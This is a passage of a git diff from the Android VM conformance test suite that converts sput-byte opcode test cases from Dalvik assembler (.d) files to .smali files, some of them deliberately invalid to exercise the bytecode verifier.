diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.d
deleted file mode 100644
index 7a3faff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_11.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.TestStubs.TestStubFieldFinal B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali
new file mode 100644
index 0000000..f6d58d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_11.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/TestStubs;->TestStubFieldFinal:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.d
deleted file mode 100644
index 41e2aff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_12.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_12
-.super java/lang/Object
-
-.field public static final st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_12.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali
new file mode 100644
index 0000000..636181c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_12.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_12;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d
deleted file mode 100644
index 2271ca2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sput_byte.d.StubInitError
-.super java/lang/Object
-
-.field public static value B
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.StubInitError.value B
-       return-void
-.end method
-
-
-.source T_sput_byte_13.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.StubInitError.value B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java
index 5270328..a31f919 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_byte.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static byte value = (byte)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..37c81f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_byte/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:B
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-byte v1, Ldot/junit/opcodes/sput_byte/d/StubInitError;->value:B
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/T_sput_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/T_sput_byte_13.smali
new file mode 100644
index 0000000..3a3aa7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/T_sput_byte_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_13;
+.super Ljava/lang/Object;
+.source "T_sput_byte_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-byte v1, Ldot/junit/opcodes/sput_byte/d/StubInitError;->value:B
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.d
deleted file mode 100644
index 1b216a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_14.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_14
-.super dot/junit/opcodes/sput_byte/d/T_sput_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_byte/d/T_sput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()B
-.limit regs 2
-
-       sget-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_p1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_p1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali
new file mode 100644
index 0000000..7f0aa73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_14.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_14;
+.super  Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()B
+.registers 2
+
+       sget-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_p1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_p1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.d
deleted file mode 100644
index 8fd5828..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_15.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_15
-.super dot/junit/opcodes/sput_byte/d/T_sput_byte_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_byte/d/T_sput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_pvt1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali
new file mode 100644
index 0000000..66daaa1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_15.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_15;
+.super  Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_pvt1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.d
deleted file mode 100644
index 76bd507..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_17.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_17.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali
new file mode 100644
index 0000000..7206946
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_17.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_17;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.d
deleted file mode 100644
index 159ef4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_18.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali
new file mode 100644
index 0000000..6372957
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_18.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.d
deleted file mode 100644
index c9520be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_2.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_2
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali
new file mode 100644
index 0000000..cfedf08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_2.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d
deleted file mode 100644
index 9a77ec6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_20.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-byte v3, dot.junit.opcodes.sput_byte.d.T_sput_byte_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.smali
new file mode 100644
index 0000000..e5b6813
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_20;
+.super Ljava/lang/Object;
+.source "T_sput_byte_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-byte p0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.d
deleted file mode 100644
index e643cb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_21.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali
new file mode 100644
index 0000000..907768c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_21.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.d
deleted file mode 100644
index 7a59d06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
